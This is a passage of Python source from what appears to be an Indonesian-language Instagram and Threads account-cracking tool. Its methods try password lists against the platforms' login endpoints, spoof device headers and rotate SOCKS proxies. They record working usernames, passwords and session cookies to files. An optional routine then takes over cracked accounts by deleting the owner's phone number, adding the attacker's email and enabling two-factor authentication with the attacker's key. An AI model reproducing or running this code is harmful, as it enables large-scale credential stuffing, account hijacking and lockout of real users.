- response = byps.post('https://i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, allow_redirects=True).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
- self.success+=1
- self.ig_set_authorization = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
- try:
- self.decode_ig_set_authorization = json.loads(base64.urlsafe_b64decode(self.ig_set_authorization.split('Bearer IGT:2:')[1]))
- cookie = (self.ig_set_authorization+";"+";".join([str(name)+"="+str(value) for name,value in self.decode_ig_set_authorization.items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- true.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
- truu.add(f'[bold green]deleted nomor {deleted}')
- truu.add(f'[bold green]ganti email {email} {statd}')
- truu.add(f'[bold green]web email {inbx}')
- truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
- truu.add(f'[bold green]secreet key {key}')
- truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else: continue
- except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecApi_Threads(username, password)
- self.looping+=1
- def ExecAjax(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] ", end='\r')
- ua_generate = Useragent().useragent_ajax()
- for passwd in password:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- curl = byps.get('https://www.instagram.com/accounts/login/?source=auth_switcher', headers = {"user-agent":ua_generate}, allow_redirects=True)
- try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
- except: csrftoken = None
- headers = {
- 'Host': 'www.instagram.com',
- 'vary': 'Accept-Encoding',
- 'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
- 'content-length': '0',
- 'x-ig-app-id': '1217981644879628',
- 'x-instagram-ajax': '1011794706',
- 'user-agent': ua_generate,
- 'sec-ch-ua-mobile': '?0',
- 'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
- 'x-asbd-id': '129477',
- 'dpr': '2',
- 'x-csrftoken': csrftoken,
- 'x-requested-with': 'XMLHttpRequest',
- 'accept': '*/*',
- 'sec-ch-ua-platform': '"Linux"',
- 'origin': 'https://www.instagram.com',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '0',
- 'sec-fetch-dest': 'empty',
- 'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
- 'accept-encoding': 'gzip, deflate',
- 'accept-language': 'en-US,id-ID,id;q=0.7',
- 'connection': 'close',
- 'range':'bytes=0-2048'
- }
- payload = {
- 'username': username,
- 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
- 'optIntoOneTap': False,
- 'queryParams': '{"source":"auth_switcher"}',
- 'stopDeletionNonce': '',
- 'trustedDeviceRecords': {},
- 'next': 'https://www.instagram.com/accounts/access_tool/logins'
- }
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'userId' in str(response):
- self.success+=1
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- true.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
- truu.add(f'[bold green]deleted nomor {deleted}')
- truu.add(f'[bold green]ganti email {email} {statd}')
- truu.add(f'[bold green]web email {inbx}')
- truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
- truu.add(f'[bold green]secreet key {key}')
- truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else: continue
- except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecAjax(username, password)
- self.looping+=1
- def ExecAjax_Threads(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] ", end='\r')
- ua_generate = Useragent().useragent_ajax()
- for passwd in password:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- curl = byps.get('https://www.threads.net/accounts/onetap/?next=%2F&hl=en', headers = {'user-agent':ua_generate}, allow_redirects=True)
- try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
- except: csrftoken = None
- headers = {
- 'Host': 'www.instagram.com',
- 'vary': 'Accept-Encoding',
- 'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
- 'content-length': '0',
- 'x-ig-app-id': '1217981644879628',
- 'x-instagram-ajax': '1011794706',
- 'user-agent': ua_generate,
- 'sec-ch-ua-mobile': '?0',
- 'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
- 'x-asbd-id': '129477',
- 'dpr': '2',
- 'x-csrftoken': csrftoken,
- 'x-requested-with': 'XMLHttpRequest',
- 'accept': '*/*',
- 'sec-ch-ua-platform': '"Linux"',
- 'origin': 'https://www.threads.net',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '0',
- 'sec-fetch-dest': 'empty',
- 'referer': 'https://www.threads.net/accounts/onetap/?next=%2F&hl=en',
- 'accept-encoding': 'gzip, deflate',
- 'accept-language': 'en-US,id-ID,id;q=0.7',
- 'connection': 'close',
- 'range':'bytes=0-2048'
- }
- payload = {
- 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
- 'optIntoOneTap':'false',
- 'queryParams':'{"hl":"en"}',
- 'trustedDeviceRecords':'{}',
- 'username': username,
- 'next': 'https://www.threads.net/accounts/access_tool/logins'
- }
- response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'userId' in str(response):
- self.success+=1
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- true.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
- truu.add(f'[bold green]deleted nomor {deleted}')
- truu.add(f'[bold green]ganti email {email} {statd}')
- truu.add(f'[bold green]web email {inbx}')
- truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
- truu.add(f'[bold green]secreet key {key}')
- truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else: continue
- except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecAjax_Threads(username, password)
- self.looping+=1
- def DetedtorChekpoint(self, username, passwd):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──> [bold purple]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] Salah:-[bold blue]{self.sandi_salah}[bold white] ", end='\r')
- ua_generate = Useragent().useragent_api()
- try:
- hash = hashlib.md5()
- hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
- hex_ = hash.hexdigest()
- hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
- curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}, allow_redirects=True)
- headers = {
- 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
- 'x-ig-app-locale': 'in_ID',
- 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
- 'x-ig-device-locale': 'in_ID',
- 'x-ig-mapped-locale': 'id_ID',
- 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
- 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
- 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
- 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
- 'x-ig-timezone-offset': str(-time.timezone),
- 'x-ig-connection-type': 'MOBILE(LTE)',
- 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
- 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
- 'x-ig-app-id': '567067343352427',
- 'priority': 'u=3',
- 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
- 'user-agent': ua_generate,
- 'accept-language': 'id-ID, en-US',
- 'x-bloks-is-layout-rtl': 'false',
- 'x-ig-device-id': f'{str(uuid.uuid4())}',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Host': 'i.instagram.com',
- 'x-fb-http-engine': 'Liger',
- 'x-fb-client-ip': 'True',
- 'x-fb-server-cluster': 'True',
- 'x-fb-connection-type': 'MOBILE.LTE',
- 'connection': 'keep-alive',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- }
- payload = json.dumps({
- 'username':username,
- 'phone_id': str(uuid.uuid4()),
- '_csrftoken': curl.cookies.get('csrftoken',None),
- 'guid': str(uuid.uuid4()),
- 'device_id': f'android-{hash.hexdigest()[:16]}',
- 'login_attempt_count': '0',
- 'enc_password':Requre().enc_password(passwd)
- }
- )
- encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
- if 'logged_in_user' in str(response):
- self.success+=1
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
